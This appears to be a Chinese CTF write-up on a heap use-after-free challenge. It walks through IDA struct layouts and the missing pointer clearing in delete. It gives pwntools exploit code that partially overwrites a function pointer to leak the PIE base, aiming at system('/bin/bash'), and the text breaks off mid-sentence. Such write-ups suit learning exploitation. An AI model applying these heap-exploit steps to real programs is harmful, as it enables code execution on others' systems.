前言
好久没写东西了,本想着简单记录一下,不过在做这题的时候,弄懂了之前困扰许多的问题,所以就多写一些吧,在此感谢俺的女票@曙雀
UAF
IDA分析后,得到数据结构如下。
note:
00000000 note struc ; (sizeof=0x20, mappedto_9)
00000000 content_ptr dq ?
00000008 field_8 dq ?
00000010 str_size dd ?
00000014 field_14 dd ?
00000018 func dq ? ; offset
00000020 note ends
note_chunk:
00000000 note_chunk struc ; (sizeof=0x10, mappedto_8)
00000000 ; XREF: .bss:stru_2020C0/r
00000000 in_use dd ?
00000004 field_4 dd ?
00000008 note_ptr dq ?
00000010 note_chunk ends
如图所示:
在note
结构体中需要声明func变量为函数指针。
函数指针的C语言格式为typedef int (*func_ptr)(int,int)
,结合上下文
设置node
的func
变量的类型为void (*func)(struct note *)
设置note_chunk
的note_ptr
变量的类型为note *note_ptr
现在程序中相关的数据结构已经分析清楚,需要对代码进行进一步的分析。
程序主要有create
和delete
两个函数:
delete
函数:
首先【1】处没有将note_chunk中的note_ptr指针清零,其次对note进行free后,也未将note结构体中的数据进行清零,【2】处结合【1】处,从而可以随意delete已经删除的节点。
create
函数:
通过构造合适大小的堆块(要知道实际chunk的大小和申请的大小不一定是一样的,final_chunk_mem_size=0x20),通过【3】溢出到note的func部分的后几个字节,使之变成puts函数,构造puts(note)
从而泄漏出程序运行基址。
这部分的思路如下:
create(p, 0x30, "1"*0x30)
create(p, 0x30, "2"*0x30)
delete(p, 1)
delete(p, 0)
# [0] leak real_base_addr
# overlapping puts_off = 0x990 chunk 1/16 0x?990
# debug("b *{:#X}\nb *{:#X}\nc 5".format(create_addr, call_eax_addr))
# debug()
create(p, 0x20, b"b"*0x18+p16(0x4990)+b"\x00")
delete(p, 1)
real_base_addr = u64(p.recvuntil(
"\x0a")[-7:-1].ljust(8, b'\x00')) - elf.plt["puts"]
success("real_base_addr ==> {:#x}".format(real_base_addr))
printf_addr = real_base_addr + elf.plt["printf"]
success("printf_addr ==> {:#x}".format(printf_addr))
delete(p, 0)
目前我们已经具备了写堆块,并执行相关函数的能力,我们的最终的目的是执行system('/bin/bash')
,但是目前我们仅绕过了PIE获取到了程序加载的基地址,还无法获取lib